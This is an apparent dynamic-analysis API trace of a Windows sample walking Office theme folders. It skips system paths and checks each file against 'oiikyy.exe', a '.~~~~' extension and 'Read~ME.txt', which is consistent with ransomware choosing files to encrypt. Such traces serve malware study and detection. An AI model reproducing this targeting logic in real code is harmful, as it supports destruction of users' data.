	[0077.232] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.232] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.232] GetCurrentThreadId () returned 0x618
	[0077.232] RtlWakeConditionVariable () returned 0x365f48
	[0077.234] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1
	[0077.234] lstrcmpiW (lpString1="ARCTIC", lpString2="Windows") returned -1
	[0077.234] lstrcmpW (lpString1="ARCTIC", lpString2=".") returned 1
	[0077.234] lstrcmpW (lpString1="ARCTIC", lpString2="..") returned 1
	[0077.235] lstrcmpW (lpString1="ARCTIC", lpString2="AppData") returned 1
	[0077.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC", lpSrch="AppData") returned 0x0
	[0077.235] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.235] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC", lpString2="C:\\Windows") returned -1
	[0077.235] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.235] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC", lpString2="C:\\System Volume Information") returned -1
	[0077.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.332] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.332] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.332] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.332] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.332] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.332] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.332] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.332] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.332] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.332] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.332] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.332] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.332] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1
	[0077.332] lstrcmpiW (lpString1="ARCTIC.ELM", lpString2="Windows") returned -1
	[0077.332] lstrcmpW (lpString1="ARCTIC.ELM", lpString2="oiikyy.exe") returned -1
	[0077.332] StrStrW (lpFirst="ARCTIC.ELM", lpSrch=".~~~~") returned 0x0
	[0077.333] lstrcmpW (lpString1="ARCTIC.ELM", lpString2="Read~ME.txt") returned -1
	[0077.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.333] GetCurrentThreadId () returned 0x618
	[0077.333] RtlWakeConditionVariable () returned 0x365f48
	[0077.333] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1
	[0077.333] lstrcmpiW (lpString1="ARCTIC.INF", lpString2="Windows") returned -1
	[0077.333] lstrcmpW (lpString1="ARCTIC.INF", lpString2="oiikyy.exe") returned -1
	[0077.333] StrStrW (lpFirst="ARCTIC.INF", lpSrch=".~~~~") returned 0x0
	[0077.333] lstrcmpW (lpString1="ARCTIC.INF", lpString2="Read~ME.txt") returned -1
	[0077.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.333] GetCurrentThreadId () returned 0x618
	[0077.333] RtlWakeConditionVariable () returned 0x365f48
	[0077.333] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.333] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.333] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.333] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.333] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.333] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.334] GetCurrentThreadId () returned 0x618
	[0077.334] RtlWakeConditionVariable () returned 0x365f48
	[0077.334] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.334] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.334] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.334] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.334] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.334] GetCurrentThreadId () returned 0x618
	[0077.334] RtlWakeConditionVariable () returned 0x365f48
	[0077.334] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.334] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.334] GetCurrentThreadId () returned 0x618
	[0077.335] RtlWakeConditionVariable () returned 0x365f48
	[0077.335] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1
	[0077.335] lstrcmpiW (lpString1="AXIS", lpString2="Windows") returned -1
	[0077.335] lstrcmpW (lpString1="AXIS", lpString2=".") returned 1
	[0077.335] lstrcmpW (lpString1="AXIS", lpString2="..") returned 1
	[0077.335] lstrcmpW (lpString1="AXIS", lpString2="AppData") returned 1
	[0077.335] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS", lpSrch="AppData") returned 0x0
	[0077.335] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.335] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS", lpString2="C:\\Windows") returned -1
	[0077.335] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.335] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS", lpString2="C:\\System Volume Information") returned -1
	[0077.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.343] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.343] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.343] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.343] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.343] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.343] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.343] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.348] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.348] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.348] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.349] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.349] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.349] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1
	[0077.349] lstrcmpiW (lpString1="AXIS.ELM", lpString2="Windows") returned -1
	[0077.349] lstrcmpW (lpString1="AXIS.ELM", lpString2="oiikyy.exe") returned -1
	[0077.349] StrStrW (lpFirst="AXIS.ELM", lpSrch=".~~~~") returned 0x0
	[0077.349] lstrcmpW (lpString1="AXIS.ELM", lpString2="Read~ME.txt") returned -1
	[0077.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.349] GetCurrentThreadId () returned 0x618
	[0077.350] RtlWakeConditionVariable () returned 0x365f48
	[0077.350] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1
	[0077.350] lstrcmpiW (lpString1="AXIS.INF", lpString2="Windows") returned -1
	[0077.350] lstrcmpW (lpString1="AXIS.INF", lpString2="oiikyy.exe") returned -1
	[0077.350] StrStrW (lpFirst="AXIS.INF", lpSrch=".~~~~") returned 0x0
	[0077.350] lstrcmpW (lpString1="AXIS.INF", lpString2="Read~ME.txt") returned -1
	[0077.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.350] GetCurrentThreadId () returned 0x618
	[0077.350] RtlWakeConditionVariable () returned 0x365f48
	[0077.350] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.350] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.350] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.350] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.350] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.350] GetCurrentThreadId () returned 0x618
	[0077.350] RtlWakeConditionVariable () returned 0x365f48
	[0077.350] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.350] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.350] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.350] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.350] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.351] GetCurrentThreadId () returned 0x618
	[0077.351] RtlWakeConditionVariable () returned 0x365f48
	[0077.351] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.351] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.351] GetCurrentThreadId () returned 0x618
	[0077.351] RtlWakeConditionVariable () returned 0x365f48
	[0077.354] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1
	[0077.354] lstrcmpiW (lpString1="BLENDS", lpString2="Windows") returned -1
	[0077.354] lstrcmpW (lpString1="BLENDS", lpString2=".") returned 1
	[0077.354] lstrcmpW (lpString1="BLENDS", lpString2="..") returned 1
	[0077.354] lstrcmpW (lpString1="BLENDS", lpString2="AppData") returned 1
	[0077.354] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS", lpSrch="AppData") returned 0x0
	[0077.354] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.354] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS", lpString2="C:\\Windows") returned -1
	[0077.354] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.354] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS", lpString2="C:\\System Volume Information") returned -1
	[0077.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.369] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.369] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.374] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.374] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.374] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.374] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.376] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.376] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.376] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.376] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.376] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.376] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.376] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1
	[0077.376] lstrcmpiW (lpString1="BLENDS.ELM", lpString2="Windows") returned -1
	[0077.376] lstrcmpW (lpString1="BLENDS.ELM", lpString2="oiikyy.exe") returned -1
	[0077.376] StrStrW (lpFirst="BLENDS.ELM", lpSrch=".~~~~") returned 0x0
	[0077.376] lstrcmpW (lpString1="BLENDS.ELM", lpString2="Read~ME.txt") returned -1
	[0077.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.376] GetCurrentThreadId () returned 0x618
	[0077.376] RtlWakeConditionVariable () returned 0x365f48
	[0077.376] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1
	[0077.376] lstrcmpiW (lpString1="BLENDS.INF", lpString2="Windows") returned -1
	[0077.376] lstrcmpW (lpString1="BLENDS.INF", lpString2="oiikyy.exe") returned -1
	[0077.376] StrStrW (lpFirst="BLENDS.INF", lpSrch=".~~~~") returned 0x0
	[0077.376] lstrcmpW (lpString1="BLENDS.INF", lpString2="Read~ME.txt") returned -1
	[0077.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.376] GetCurrentThreadId () returned 0x618
	[0077.376] RtlWakeConditionVariable () returned 0x365f48
	[0077.377] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.377] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.377] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.377] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.377] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.377] GetCurrentThreadId () returned 0x618
	[0077.377] RtlWakeConditionVariable () returned 0x365f48
	[0077.377] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.377] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.377] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.377] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.377] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
	[0077.377] GetCurrentThreadId () returned 0x618
	[0077.377] RtlWakeConditionVariable () returned 0x365f48
	[0077.377] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.377] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab228
